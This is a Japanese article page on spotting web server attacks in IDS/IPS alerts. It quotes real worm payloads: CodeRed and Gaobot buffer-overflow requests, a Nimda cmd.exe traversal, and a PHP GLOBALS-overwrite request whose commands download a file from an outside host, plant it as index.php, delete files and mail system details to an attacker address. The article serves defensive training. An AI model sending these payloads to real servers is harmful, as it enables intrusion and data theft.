Webサーバへの攻撃を見抜く：インシデントの見抜きかた（1）（1/3 ページ）

インシデントを最終判断するのは「人間」

　インターネットは、いわずと知れた世界中に広がるネットワークの集合体である。その膨大なネットワークにサーバを接続した時点で、管理者は世界中の誰とも知れない者からの攻撃を、24時間365日いつ受けるか分からないことを念頭に置く必要がある。

　とはいえ、サーバに対して1日何万件ものアクセスが行われたとして、管理者がアクセスログの中から攻撃を1つ1つ見つけ出し、サーバに影響があるかどうかを調べるのは、時間と労力を考えるとあまり現実的とはいえない。また、攻撃手法が多種多様化・巧妙化していく中、最新のセキュリティ動向に目をやりながら処理し続けるのは非常に困難である。

　いまでは、そういった管理者の負担を軽減するために、IDS（Intrusion Detection System：侵入検知システム）やIPS（Intrusion Prevention System：侵入防止システム）といった管理者に代わって攻撃を検知し、通知してくれる製品やツールが数多く存在する。もちろんそれらの製品をただ導入すればすべて解決というわけではなく、最終的に攻撃の事象（インシデント）を判断するのは管理者であることを忘れてはならない。

　本連載では、IDS／IPSで検知された実際の攻撃アラートを軸にしながら、インシデント・ハンドリングにおける判断方法について解説していく。

　今回は、Webの通信におけるインシデント・ハンドリングについて解説しよう。

知識と経験が必要なインシデント・ハンドリング

　IDS／IPSのアラートには、発生時間、IPアドレス、攻撃の種類や対策といった情報は含まれているものの、「何がどうなっていたら危険であり、直ちに調査が必要である」といった判断・分析の部分は、記載されないことが多い。また記載の内容が実際の状況に即していない場合がある。

　特にIDS／IPSのアラートにはフォールスポジティブ、フォールスネガティブといったいわゆる誤検知の問題が常につきまとう。そのため、アラートの発生後の調査、分析および判断などの対応には、担当者に相応の知識が要求される。

　では、IDS／IPSを使用せずにアクセスログファイルから攻撃を見つけ出す場合はどうかというと、膨大な量のアクセスログから攻撃だけを抜き出すのはかなりの労力を必要とする。また、発生時間や発生元のIPアドレスが不明であったり、過去にさかのぼって調査する場合、ログファイルの量に比例して調査時間は増加する。調査の結果「攻撃ではない」または「攻撃ではあるがすでに対策済み」と結論が出たとしても、労力と時間は戻ってこない。

素早い判断を行うためには切り分けの知識が必要

　インシデント・ハンドリングの大きな目的の1つは、影響範囲を最小限にとどめることにある。

　影響範囲は時間が経過するほど拡大するため、効率よく攻撃を発見し、対処までの時間をいかに短くするかがポイントである。効率を高めるには、精度の高い判断が必要になる。

　つまり、IDS／IPSを活用して攻撃を検知しても、ログファイルから情報を収集しても、最終的にはそれが何に対する攻撃であり、どれくらい緊急で、どういう調査と対処を実施すればよいのかを見分けられる知識と判断が最も重要なのである。

　判断の精度を高めるためには、不正な通信の形を知ることが有効である。

実例で学ぶインシデント・ハンドリング

　近年で最も話題になっているWebサーバへの攻撃手法として、Webアプリケーションの脆弱性を対象としたSQLインジェクションとクロスサイトスクリプティングなどがある。

　Webサーバへの脅威といえば、これらの攻撃が最初に指摘されることが多いが、注意すべき攻撃はそれだけではない。Webサーバソフトウェアに対するバッファオーバーフロー攻撃もあれば、SSLソフトウェアに対する攻撃も存在する。

　Webサーバにおいては攻撃の対象個所となる部分が複数存在するため、上記の見極めが最も重要といえる。

ワームによる攻撃の例

　以下にいくつかIDSのアラート例を紹介しよう。本アラートは、Sourcefire Intrusion Sensorで取得したアラートのペイロード部分を抜き出したものである。

GET /NULL.IDA?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCC%u0aeb%ub890%u96d2%u77e5%u0000%u0000%u838b%u0094%u
0000%u408b%u0564%u0150%u0000%ue0ff%u9090=x&............（略）

GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir

　上記に紹介しているのはCodeRed（上）とNimda（下）の通信だ。2001年に最も流行したワームの通信なので、もうご存じかもしれない。IISの脆弱性を狙ったものである。2007年の現在でもインターネット上に流れているので、おそらくWebサーバのログを参照すれば、1つくらいはあるはずだ。

　次は、IISのWebDAVの脆弱性を狙っている通信。Gaobotというウイルスが発生させることで有名な通信で、2003年末〜2004年に流行したものである。

SEARCH /..H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.
H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.
H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.
H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.
H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H.H（略）

　上記、Hの後ろにある“.”の部分には非印字文字と呼ばれる制御文字、または未割り当ての文字が入力されている。 Webサーバのログには“x90”といったように記載されているだろう。これはx90などの大量の文字を送りつけることで、プログラムのバッファオーバーフローを狙った攻撃である。お気付きかもしれないが、先のCodeRedもバッファオーバーフロー攻撃である。

　このようにバッファオーバーフロー攻撃では、無意味な文字列を送りつける通信が多いことから、攻撃かどうかの判断もしやすい。

　最近ではPHPで作成されたアプリケーションに対するものも多い。

GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST
[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute
_path=http://example.com/css/style?&cmd=cd%20cache;curl%20-O%20
http://example.com/css/style;mv%20cm%20index.php;rm%20-rf%20cm*;
uname%20-a%20|%20mail%20-s%20192.168.100.100/index2.php?option=
com_content&do_pdf=1&id=1_uname_i2%20intruder@example.com;uname
%20-a%20|%20mail%20-s%20uname_i2_192.168.100.100%20intruder@2.
example.com;echo|

　これは2005年11月に公開されたPHPのアドバイザリで指摘されているPHPに存在する脆弱性を狙った通信であり、PHP 4.4.x、PHP 5.0.xで作成されている多くのアプリケーションが影響を受ける。具体的にはGLOBALS変数が上書きされてしまう脆弱性である。

　比較的容易に実行できる攻撃手法のため、自動化されワームによって現在もまん延している。